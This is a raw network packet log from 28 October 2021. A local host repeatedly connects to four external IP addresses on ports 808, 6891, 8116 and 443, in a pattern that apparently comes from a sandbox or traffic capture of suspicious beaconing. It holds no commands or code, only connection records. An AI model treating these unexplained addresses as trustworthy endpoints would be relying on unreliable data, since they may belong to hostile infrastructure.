Oct 28, 2021 04:45:45.955431938 CEST	808	49836	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:45.961121082 CEST	808	49836	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:45.961153984 CEST	808	49836	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:45.961172104 CEST	808	49836	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:46.270726919 CEST	6891	49835	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:46.270756960 CEST	6891	49835	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:46.270800114 CEST	49835	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:46.270822048 CEST	49835	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:46.276268959 CEST	49835	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:46.358616114 CEST	808	49836	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:46.358643055 CEST	808	49836	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:46.358694077 CEST	49836	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:46.358726025 CEST	49836	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:46.361913919 CEST	49836	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:46.402818918 CEST	49837	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:46.441571951 CEST	6891	49835	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:46.455979109 CEST	8116	49837	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:46.456090927 CEST	49837	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:46.456924915 CEST	49837	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:46.477307081 CEST	49838	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:46.509744883 CEST	8116	49837	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:46.510066986 CEST	8116	49837	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:46.510214090 CEST	49837	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:46.510860920 CEST	49837	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:46.515997887 CEST	49837	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:46.516417980 CEST	49837	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:46.525186062 CEST	808	49836	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:46.569153070 CEST	8116	49837	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:46.569288015 CEST	8116	49837	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:46.569935083 CEST	8116	49837	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:46.643615007 CEST	6891	49838	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:46.643739939 CEST	49838	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:46.644552946 CEST	49838	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:46.760708094 CEST	8116	49837	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:46.760735035 CEST	8116	49837	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:46.760936975 CEST	49837	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:46.766623974 CEST	49837	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:46.810796976 CEST	6891	49838	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:46.810884953 CEST	6891	49838	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:46.810975075 CEST	49838	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:46.811546087 CEST	49838	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:46.815332890 CEST	49838	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:46.815442085 CEST	49838	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:46.819993973 CEST	8116	49837	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:46.886480093 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:46.886535883 CEST	443	49839	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:46.886639118 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:46.887865067 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:46.887886047 CEST	443	49839	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:46.981838942 CEST	6891	49838	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:46.981869936 CEST	6891	49838	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:47.018312931 CEST	6891	49838	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:47.372697115 CEST	6891	49838	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:47.372725964 CEST	6891	49838	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:47.372812033 CEST	49838	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:47.375159979 CEST	49838	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:47.382766008 CEST	443	49839	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:47.386002064 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:47.386521101 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:47.386539936 CEST	443	49839	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:47.390642881 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:47.390664101 CEST	443	49839	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:47.390732050 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:47.390744925 CEST	443	49839	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:47.490341902 CEST	49840	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:47.538592100 CEST	8116	49840	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:47.538741112 CEST	49840	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:47.539357901 CEST	49840	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:47.541613102 CEST	6891	49838	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:47.587409019 CEST	8116	49840	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:47.587709904 CEST	8116	49840	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:47.587836027 CEST	49840	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:47.588494062 CEST	49840	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:47.592963934 CEST	49840	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:47.593168020 CEST	49840	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:47.641154051 CEST	8116	49840	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:47.641561031 CEST	8116	49840	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:47.642286062 CEST	8116	49840	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:47.827958107 CEST	8116	49840	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:47.827994108 CEST	8116	49840	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:47.828141928 CEST	49840	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:47.830553055 CEST	49840	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:47.878495932 CEST	8116	49840	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:47.944746971 CEST	49841	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:47.944823027 CEST	443	49841	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:47.944968939 CEST	49841	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:47.945940018 CEST	49841	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:47.945976019 CEST	443	49841	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:48.083225012 CEST	443	49839	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:48.083332062 CEST	443	49839	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:48.083353043 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:48.083411932 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:48.090223074 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:48.090254068 CEST	443	49839	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:48.211009979 CEST	49842	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:48.369288921 CEST	808	49842	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:48.369440079 CEST	49842	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:48.370234013 CEST	49842	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:48.443627119 CEST	443	49841	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:48.443782091 CEST	49841	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:48.444453001 CEST	49841	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:48.444477081 CEST	443	49841	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:48.449512005 CEST	49841	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:48.449541092 CEST	443	49841	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:48.449666977 CEST	49841	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:48.449681044 CEST	443	49841	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:48.528393030 CEST	808	49842	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:48.528889894 CEST	808	49842	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:48.529019117 CEST	49842	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:48.529531956 CEST	49842	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:48.533238888 CEST	49842	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:48.533343077 CEST	49842	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:48.689646006 CEST	808	49842	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:48.691495895 CEST	808	49842	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:48.691513062 CEST	808	49842	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:49.080116987 CEST	808	49842	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:49.080193996 CEST	808	49842	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:49.080353022 CEST	49842	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:49.080406904 CEST	49842	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:49.086464882 CEST	49842	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:49.146435022 CEST	443	49841	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:49.146516085 CEST	443	49841	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:49.146624088 CEST	49841	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:49.146706104 CEST	49841	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:49.202857018 CEST	49841	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:49.202896118 CEST	443	49841	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:49.228302956 CEST	49843	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:49.244714975 CEST	808	49842	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:49.320542097 CEST	49844	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:49.393795013 CEST	6891	49843	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:49.395086050 CEST	49843	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:49.395369053 CEST	49843	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:49.479315042 CEST	808	49844	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:49.479473114 CEST	49844	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:49.480122089 CEST	49844	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:49.560686111 CEST	6891	49843	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:49.560728073 CEST	6891	49843	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:49.561069012 CEST	49843	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:49.562230110 CEST	49843	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:49.567912102 CEST	49843	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:49.568025112 CEST	49843	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:49.638690948 CEST	808	49844	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:49.638726950 CEST	808	49844	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:49.638820887 CEST	49844	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:49.639863014 CEST	49844	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:49.645353079 CEST	49844	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:49.645476103 CEST	49844	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:49.733355999 CEST	6891	49843	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:49.733391047 CEST	6891	49843	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:49.770205021 CEST	6891	49843	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:49.798226118 CEST	808	49844	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:49.803951025 CEST	808	49844	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:49.803980112 CEST	808	49844	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:50.114114046 CEST	6891	49843	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:50.115397930 CEST	6891	49843	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:50.115591049 CEST	49843	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:50.190123081 CEST	808	49844	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:50.190166950 CEST	808	49844	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:50.190401077 CEST	49844	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:50.401104927 CEST	49844	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:50.404480934 CEST	49843	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:50.537631989 CEST	49845	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:50.546375036 CEST	49846	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:50.559664011 CEST	808	49844	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:50.569917917 CEST	6891	49843	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:50.594820023 CEST	8116	49846	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:50.595040083 CEST	49846	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:50.601350069 CEST	49846	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:50.649622917 CEST	8116	49846	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:50.649914026 CEST	8116	49846	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:50.649996996 CEST	49846	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:50.650782108 CEST	49846	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:50.661477089 CEST	49846	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:50.661604881 CEST	49846	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:50.702939034 CEST	6891	49845	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:50.703161955 CEST	49845	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:50.708621025 CEST	49845	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:50.709633112 CEST	8116	49846	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:50.710349083 CEST	8116	49846	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:50.874013901 CEST	6891	49845	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:50.874098063 CEST	6891	49845	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:50.874314070 CEST	49845	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:50.874965906 CEST	49845	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:50.880594015 CEST	49845	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:50.880784988 CEST	49845	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:50.884207010 CEST	8116	49846	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:50.884239912 CEST	8116	49846	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:50.884365082 CEST	49846	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:50.892560959 CEST	49846	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:50.940887928 CEST	8116	49846	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:51.045983076 CEST	6891	49845	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:51.046016932 CEST	6891	49845	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:51.046027899 CEST	6891	49845	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:51.065807104 CEST	49847	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:51.065871954 CEST	443	49847	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:51.066057920 CEST	49847	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:51.434412003 CEST	6891	49845	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:51.434451103 CEST	6891	49845	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:51.434659958 CEST	49845	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:51.883650064 CEST	49847	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:51.883691072 CEST	443	49847	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:51.896322966 CEST	49845	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:52.044290066 CEST	49848	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:52.061786890 CEST	6891	49845	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:52.097105026 CEST	8116	49848	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:52.097378969 CEST	49848	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:52.098592043 CEST	49848	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:52.151412010 CEST	8116	49848	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:52.151746988 CEST	8116	49848	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:52.151844025 CEST	49848	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:52.159353971 CEST	49848	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:52.164793968 CEST	49848	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:52.164951086 CEST	49848	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:52.217575073 CEST	8116	49848	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:52.218121052 CEST	8116	49848	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:52.390938997 CEST	8116	49848	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:52.390971899 CEST	8116	49848	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:52.391016960 CEST	49848	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:52.391040087 CEST	49848	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:52.394357920 CEST	49848	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:52.409513950 CEST	443	49847	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:52.409667015 CEST	49847	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:52.410422087 CEST	49847	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:52.410446882 CEST	443	49847	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:52.416172981 CEST	49847	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:52.416198015 CEST	443	49847	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:52.416322947 CEST	49847	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:52.416335106 CEST	443	49847	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:52.446960926 CEST	8116	49848	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:52.506587029 CEST	49851	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:52.506633997 CEST	443	49851	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:52.506741047 CEST	49851	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:52.507257938 CEST	49851	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:52.507287979 CEST	443	49851	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:52.994219065 CEST	443	49851	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:52.994399071 CEST	49851	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:52.995060921 CEST	49851	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:52.995074987 CEST	443	49851	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:53.001791000 CEST	49851	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:53.001810074 CEST	443	49851	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:53.001941919 CEST	49851	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:53.001952887 CEST	443	49851	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:53.129648924 CEST	443	49847	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:53.129734039 CEST	49847	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:53.129743099 CEST	443	49847	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:53.129853010 CEST	49847	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:53.138793945 CEST	49847	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:53.138827085 CEST	443	49847	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:53.260504961 CEST	49852	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:53.420172930 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:53.420373917 CEST	49852	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:53.421389103 CEST	49852	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:53.580959082 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:53.581043959 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:53.581214905 CEST	49852	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:53.582082033 CEST	49852	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:53.591496944 CEST	49852	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:53.591638088 CEST	49852	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:53.686283112 CEST	443	49851	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:53.686366081 CEST	443	49851	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:53.686412096 CEST	49851	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:53.686449051 CEST	49851	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:53.688688993 CEST	49851	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:45:53.688705921 CEST	443	49851	192.46.210.220	192.168.2.5
Oct 28, 2021 04:45:53.741724968 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:53.751154900 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:53.751182079 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:53.751193047 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:53.751707077 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:53.751724005 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:53.803680897 CEST	49853	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:53.963752031 CEST	808	49853	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:53.963948965 CEST	49853	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:53.964726925 CEST	49853	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:54.124566078 CEST	808	49853	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:54.124625921 CEST	808	49853	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:54.124767065 CEST	49853	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:54.125396013 CEST	49853	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:54.131149054 CEST	49853	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:54.131261110 CEST	49853	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:54.137152910 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:54.137186050 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:54.137248039 CEST	49852	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:54.137279034 CEST	49852	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:54.144918919 CEST	49852	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:54.285348892 CEST	808	49853	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:54.290916920 CEST	808	49853	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:54.290942907 CEST	808	49853	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:54.290957928 CEST	808	49853	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:54.290971994 CEST	808	49853	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:54.294471979 CEST	49854	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:54.304578066 CEST	808	49852	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:54.460050106 CEST	6891	49854	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:54.460247993 CEST	49854	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:54.462613106 CEST	49854	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:54.628082037 CEST	6891	49854	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:54.628236055 CEST	6891	49854	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:54.628551960 CEST	49854	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:54.629411936 CEST	49854	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:54.632503033 CEST	49854	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:54.632611990 CEST	49854	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:54.675303936 CEST	808	49853	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:54.675340891 CEST	808	49853	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:54.675424099 CEST	49853	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:54.678567886 CEST	49853	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:45:54.797951937 CEST	6891	49854	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:54.797982931 CEST	6891	49854	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:54.798027039 CEST	6891	49854	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:54.802591085 CEST	49855	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:54.838299990 CEST	808	49853	143.244.140.214	192.168.2.5
Oct 28, 2021 04:45:54.971342087 CEST	6891	49855	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:54.971493006 CEST	49855	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:54.975969076 CEST	49855	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:55.143640995 CEST	6891	49855	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:55.143673897 CEST	6891	49855	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:55.143816948 CEST	49855	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:55.144867897 CEST	49855	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:55.150336027 CEST	49855	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:55.150682926 CEST	49855	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:55.180120945 CEST	6891	49854	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:55.180156946 CEST	6891	49854	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:55.180267096 CEST	49854	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:55.190229893 CEST	49854	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:45:55.306183100 CEST	49856	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:45:55.317910910 CEST	6891	49855	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:55.317948103 CEST	6891	49855	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:55.355770111 CEST	6891	49854	45.77.0.96	192.168.2.5
Oct 28, 2021 04:45:55.358063936 CEST	8116	49856	185.56.219.47	192.168.2.5
Oct 28, 2021 04:45:55.358282089 CEST	49856	8116	192.168.2.5	185.56.219.47
